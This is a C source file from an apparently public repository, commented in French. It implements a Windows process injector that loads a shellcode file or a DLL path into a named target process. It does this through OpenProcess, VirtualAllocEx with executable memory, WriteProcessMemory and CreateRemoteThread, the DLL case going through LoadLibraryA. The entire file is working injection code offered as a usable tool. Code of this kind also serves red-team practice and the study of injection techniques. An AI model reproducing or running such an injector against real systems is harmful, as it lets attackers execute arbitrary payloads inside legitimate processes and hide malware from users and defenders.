-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.c
144 lines (131 loc) · 5.38 KB
/
main.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
// 21/05/2017 //
#include <windows.h>
#include <stdio.h>
#include "functions.h"
#define SHELLCODE 0x01
#define DLL 0x02
int main(int argc, char* argv[])
{
int kind;
DWORD oldProtect = 0;
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_SCREEN_BUFFER_INFO consoleInfo;
WORD saved_attributes;
GetConsoleScreenBufferInfo(hConsole, &consoleInfo);
saved_attributes = consoleInfo.wAttributes;
int size;
char* shellcode;
LPVOID addr = NULL;
HANDLE threadID;
LPVOID AddressVirtualAlloc;
// < process_name.exe > < chemin vers dll ou shellcode > < dll | shellcode >
if(argc <= 3)
{
die(hConsole, saved_attributes, "[!] No process, path or type given");
exit(0);
}
// si arg 3 = shellcode
if(strcmp(argv[3], "shellcode") == 0)
{
// On récupère le shellcode et sa taille
printf("======== SHELLCODE ========\n");
MallocRes res = openFile(hConsole, saved_attributes, argv[2]);
shellcode = res.buffer;
size = res.size;
kind = SHELLCODE;
}
// si arg 3 = DLL
else if(strcmp(argv[3], "dll") == 0)
{
// On récupère la DLL
shellcode = argv[2];
size = (int)strlen(argv[2]);
kind = DLL;
printf("======== DLL ========\n");
}
else
{
die(hConsole, saved_attributes, "[!] Pleaser enter type of payload");
exit(0);
}
// Si on ne parvient pas à ouvrir le shellcode
if(shellcode == NULL || size == 0)
{
printf("[!] Cannot open file ");
}
else
{
// On récupère le PID
int pid = GetCalcPID(argv[1]);
if(pid != 0)
{
printf("[+] %s PID = %d\n", argv[1], pid);
// On récupère un handle sur le processus via sont ID
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if(hProcess)
{
printf("[+] OpenProcess ... OK\n");
if(kind == DLL)
{
// Si c'est une DLL on récupère l'adresse de la fonction LoadLibraryA dans kernel32.dll
addr = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
if(addr != NULL)
printf("[+] GetProcAddress 0x%p\n", addr);
else
{
die(hConsole,saved_attributes,"[!] GetProcAddress... NO\n");
exit(0);
}
}
// On alloue une page de mémoire de la taille du shellcode / path de la DLL et on récupère son adresse de début
AddressVirtualAlloc = VirtualAllocEx(hProcess, 0, size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(AddressVirtualAlloc)
{
printf("[+] Virtual Alloc ... 0x%p\n", AddressVirtualAlloc);
// On écrit notre shellcode / path de dll au début de la page
if (WriteProcessMemory(hProcess, AddressVirtualAlloc, shellcode, size, NULL))
{
printf("[+] WriteProcessMemory %d bytes ... OK\n", size);
// On change la protection de la page
if (VirtualProtectEx(hProcess, AddressVirtualAlloc, size, PAGE_EXECUTE_READ, &oldProtect))
{
printf("[+] VirtualProtectEx ... OK\n");
if(kind == SHELLCODE)
{
// On crée le thread dans le processus si c'est un shellcode
threadID = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE) AddressVirtualAlloc, NULL, NULL, NULL);
}
else
{
// On crée le thread dans le processus si c'est une DLL
threadID = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE) addr, AddressVirtualAlloc, NULL, NULL);
}
if (threadID != NULL)
{
// Tout est bon !d
printf("[+] CreateRemoteThread ... OK\n");
printf("[+] Thread ID %d\n", GetThreadId(threadID));
SetConsoleTextAttribute(hConsole, FOREGROUND_GREEN);
printf("[+] Injection successful \n");
SetConsoleTextAttribute(hConsole, saved_attributes);
}
else
die(hConsole,saved_attributes,"[!] CreateRemoteThread... NO\n");
}
else
die(hConsole,saved_attributes,"[!] VirtualProtectEx ... NO\n");
}
else
die(hConsole,saved_attributes,"[!] WriteProcessMemory ... NO\n");
}
else
die(hConsole,saved_attributes,"[!] VirtualAllocEx ... NO\n");
}
else
die(hConsole,saved_attributes,"[!] OpenProcess ... NO\n");
}
else
die(hConsole,saved_attributes,"[!] PID not found\n");
}
return 0;
}